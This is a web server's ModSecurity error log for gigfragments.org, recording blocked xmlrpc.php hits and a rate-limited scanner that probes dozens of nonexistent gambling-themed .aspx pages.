[Fri Feb 13 03:31:09.402618 2026] [:error] [pid 17942:tid 17958] [client 34.173.125.207:49972] [client 34.173.125.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.125.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qfb1YyF67_WQrcB7S1AAAAAU"]
[Fri Feb 13 03:31:09.402781 2026] [:error] [pid 17942:tid 17958] [client 34.173.125.207:49972] [client 34.173.125.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.173.125.207, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qfb1YyF67_WQrcB7S1AAAAAU"]
[Fri Feb 13 04:02:43.795699 2026] [:error] [pid 49223:tid 49248] [client 5.135.139.120:39266] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.139.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4x4x8A_fZBamNLnfUNCQAAABA"]
[Fri Feb 13 04:07:37.230703 2026] [:error] [pid 49335:tid 49360] [client 91.65.123.43:31405] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aY4zCap--SFY2nwOiqn7lQAAANc"]
[Fri Feb 13 04:07:39.205246 2026] [:error] [pid 51243:tid 51253] [client 91.65.123.43:8134] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aY4zC8im7ZTAHzi7xZuf9AAAAQg"]
[Fri Feb 13 04:07:41.227271 2026] [:error] [pid 51243:tid 51257] [client 91.65.123.43:54501] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aY4zDcim7ZTAHzi7xZuf-QAAAQw"]
[Fri Feb 13 04:07:43.249196 2026] [:error] [pid 49224:tid 49284] [client 91.65.123.43:47569] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aY4zD9iAvPoWmw5YhwlnRgAAAFE"]
[Fri Feb 13 04:07:45.283735 2026] [:error] [pid 49335:tid 49349] [client 91.65.123.43:4569] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aY4zEap--SFY2nwOiqn7tAAAAMw"]
[Fri Feb 13 04:07:47.352739 2026] [:error] [pid 49223:tid 49242] [client 91.65.123.43:56869] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aY4zEx8A_fZBamNLnfUPNQAAAAo"]
[Fri Feb 13 04:07:49.228404 2026] [:error] [pid 49223:tid 49248] [client 91.65.123.43:63626] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aY4zFR8A_fZBamNLnfUPOQAAABA"]
[Fri Feb 13 04:07:51.265857 2026] [:error] [pid 51243:tid 51245] [client 91.65.123.43:41122] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aY4zF8im7ZTAHzi7xZugDAAAAQA"]
[Fri Feb 13 04:07:53.924740 2026] [:error] [pid 49335:tid 49339] [client 91.65.123.43:51964] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aY4zGap--SFY2nwOiqn7yQAAAMI"]
[Fri Feb 13 04:07:55.937199 2026] [:error] [pid 49335:tid 49342] [client 91.65.123.43:64763] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aY4zG6p--SFY2nwOiqn7zwAAAMU"]
[Fri Feb 13 04:07:57.956497 2026] [:error] [pid 49225:tid 49315] [client 91.65.123.43:26742] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aY4zHTwH8-zGxtAd3juzOwAAAJU"]
[Fri Feb 13 04:07:59.981458 2026] [:error] [pid 49224:tid 49284] [client 91.65.123.43:34548] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aY4zH9iAvPoWmw5YhwlnZQAAAFE"]
[Fri Feb 13 04:08:01.984377 2026] [:error] [pid 49224:tid 49270] [client 91.65.123.43:3898] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aY4zIdiAvPoWmw5YhwlnbQAAAEM"]
[Fri Feb 13 04:08:04.006383 2026] [:error] [pid 49335:tid 49357] [client 91.65.123.43:51048] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aY4zJKp--SFY2nwOiqn74gAAANQ"]
[Fri Feb 13 04:08:05.866649 2026] [:error] [pid 49335:tid 49360] [client 91.65.123.43:51309] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aY4zJap--SFY2nwOiqn75gAAANc"]
[Fri Feb 13 04:08:07.899813 2026] [:error] [pid 49225:tid 49298] [client 91.65.123.43:27973] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aY4zJzwH8-zGxtAd3juzSwAAAIQ"]
[Fri Feb 13 04:08:09.894994 2026] [:error] [pid 49223:tid 49247] [client 91.65.123.43:5490] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aY4zKR8A_fZBamNLnfUPagAAAA8"]
[Fri Feb 13 04:08:11.902035 2026] [:error] [pid 49335:tid 49354] [client 91.65.123.43:57149] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aY4zK6p--SFY2nwOiqn7_AAAANE"]
[Fri Feb 13 04:08:13.903627 2026] [:error] [pid 49335:tid 49342] [client 91.65.123.43:32471] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aY4zLap--SFY2nwOiqn8AQAAAMU"]
[Fri Feb 13 04:08:15.770720 2026] [:error] [pid 49335:tid 49354] [client 91.65.123.43:2035] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aY4zL6p--SFY2nwOiqn8AwAAANE"]
[Fri Feb 13 04:08:17.795081 2026] [:error] [pid 49335:tid 49358] [client 91.65.123.43:63900] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY4zMap--SFY2nwOiqn8CgAAANU"]
[Fri Feb 13 04:08:19.841666 2026] [:error] [pid 49224:tid 49269] [client 91.65.123.43:55414] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aY4zM9iAvPoWmw5YhwlnjwAAAEI"]
[Fri Feb 13 04:08:21.906613 2026] [:error] [pid 49224:tid 49287] [client 91.65.123.43:63320] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aY4zNdiAvPoWmw5YhwlnlgAAAFQ"]
[Fri Feb 13 04:08:23.799646 2026] [:error] [pid 49223:tid 49242] [client 91.65.123.43:61103] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aY4zNx8A_fZBamNLnfUPhQAAAAo"]
[Fri Feb 13 04:08:25.721258 2026] [:error] [pid 49224:tid 49291] [client 91.65.123.43:37309] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aY4zOdiAvPoWmw5YhwlnogAAAFg"]
[Fri Feb 13 04:08:27.629299 2026] [:error] [pid 49223:tid 49242] [client 91.65.123.43:31618] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aY4zOx8A_fZBamNLnfUPjQAAAAo"]
[Fri Feb 13 04:08:29.497739 2026] [:error] [pid 49223:tid 49246] [client 91.65.123.43:61181] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aY4zPR8A_fZBamNLnfUPkwAAAA4"]
[Fri Feb 13 04:08:31.530484 2026] [:error] [pid 49224:tid 49273] [client 91.65.123.43:31181] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aY4zP9iAvPoWmw5YhwlnrQAAAEY"]
[Fri Feb 13 04:08:33.602610 2026] [:error] [pid 49224:tid 49283] [client 91.65.123.43:21090] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aY4zQdiAvPoWmw5YhwlnsgAAAFA"]
[Fri Feb 13 04:09:12.496569 2026] [:error] [pid 49224:tid 49286] [client 91.65.123.43:17945] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aY4zaNiAvPoWmw5YhwloFQAAAFM"]
[Fri Feb 13 04:09:14.480028 2026] [:error] [pid 49225:tid 49296] [client 91.65.123.43:52747] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY4zajwH8-zGxtAd3juzsgAAAII"]
[Fri Feb 13 04:09:16.368688 2026] [:error] [pid 49225:tid 49304] [client 91.65.123.43:24570] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aY4zbDwH8-zGxtAd3juztQAAAIo"]
[Fri Feb 13 04:09:18.231808 2026] [:error] [pid 49225:tid 49295] [client 91.65.123.43:47286] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY4zbjwH8-zGxtAd3juzvAAAAIE"]
[Fri Feb 13 04:09:20.275381 2026] [:error] [pid 49335:tid 49339] [client 91.65.123.43:50029] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY4zcKp--SFY2nwOiqn8fQAAAMI"]
[Fri Feb 13 04:09:22.178505 2026] [:error] [pid 51243:tid 51257] [client 91.65.123.43:55518] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY4zcsim7ZTAHzi7xZugggAAAQw"]
[Fri Feb 13 04:09:24.052652 2026] [:error] [pid 51243:tid 51262] [client 91.65.123.43:52742] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY4zdMim7ZTAHzi7xZughwAAARE"]
[Fri Feb 13 04:09:26.099692 2026] [:error] [pid 49224:tid 49289] [client 91.65.123.43:52810] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY4zdtiAvPoWmw5YhwloLQAAAFY"]
[Fri Feb 13 04:09:27.969750 2026] [:error] [pid 49335:tid 49359] [client 91.65.123.43:34193] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aY4zd6p--SFY2nwOiqn8jQAAANY"]
[Fri Feb 13 04:09:29.857839 2026] [:error] [pid 49225:tid 49298] [client 91.65.123.43:28743] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aY4zeTwH8-zGxtAd3juz0AAAAIQ"]
[Fri Feb 13 04:09:31.894981 2026] [:error] [pid 49335:tid 49360] [client 91.65.123.43:20065] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aY4ze6p--SFY2nwOiqn8lQAAANc"]
[Fri Feb 13 04:09:33.810696 2026] [:error] [pid 49224:tid 49288] [client 91.65.123.43:58162] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aY4zfdiAvPoWmw5YhwloPQAAAFU"]
[Fri Feb 13 04:09:35.666682 2026] [:error] [pid 49225:tid 49298] [client 91.65.123.43:3426] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aY4zfzwH8-zGxtAd3juz2gAAAIQ"]
[Fri Feb 13 04:09:37.697523 2026] [:error] [pid 51243:tid 51267] [client 91.65.123.43:59936] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aY4zgcim7ZTAHzi7xZugmgAAARY"]
[Fri Feb 13 04:09:39.580124 2026] [:error] [pid 49224:tid 49273] [client 91.65.123.43:6130] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aY4zg9iAvPoWmw5YhwloRQAAAEY"]
[Fri Feb 13 04:09:41.600712 2026] [:error] [pid 49335:tid 49361] [client 91.65.123.43:26673] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aY4zhap--SFY2nwOiqn8rgAAANg"]
[Fri Feb 13 04:09:43.484693 2026] [:error] [pid 51243:tid 51261] [client 91.65.123.43:36042] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aY4zh8im7ZTAHzi7xZugowAAARA"]
[Fri Feb 13 04:09:45.498899 2026] [:error] [pid 49335:tid 49360] [client 91.65.123.43:47266] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aY4ziap--SFY2nwOiqn8vwAAANc"]
[Fri Feb 13 04:09:47.395274 2026] [:error] [pid 49225:tid 49310] [client 91.65.123.43:19835] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aY4zizwH8-zGxtAd3juz7QAAAJA"]
[Fri Feb 13 04:09:49.408520 2026] [:error] [pid 49335:tid 49349] [client 91.65.123.43:38236] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aY4zjap--SFY2nwOiqn80AAAAMw"]
[Fri Feb 13 04:09:51.269690 2026] [:error] [pid 49225:tid 49297] [client 91.65.123.43:36644] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aY4zjzwH8-zGxtAd3juz8gAAAIM"]
[Fri Feb 13 04:09:53.313267 2026] [:error] [pid 49335:tid 49351] [client 91.65.123.43:64316] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aY4zkap--SFY2nwOiqn83QAAAM4"]
[Fri Feb 13 04:09:55.205158 2026] [:error] [pid 49225:tid 49307] [client 91.65.123.43:20160] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aY4zkzwH8-zGxtAd3juz9QAAAI0"]
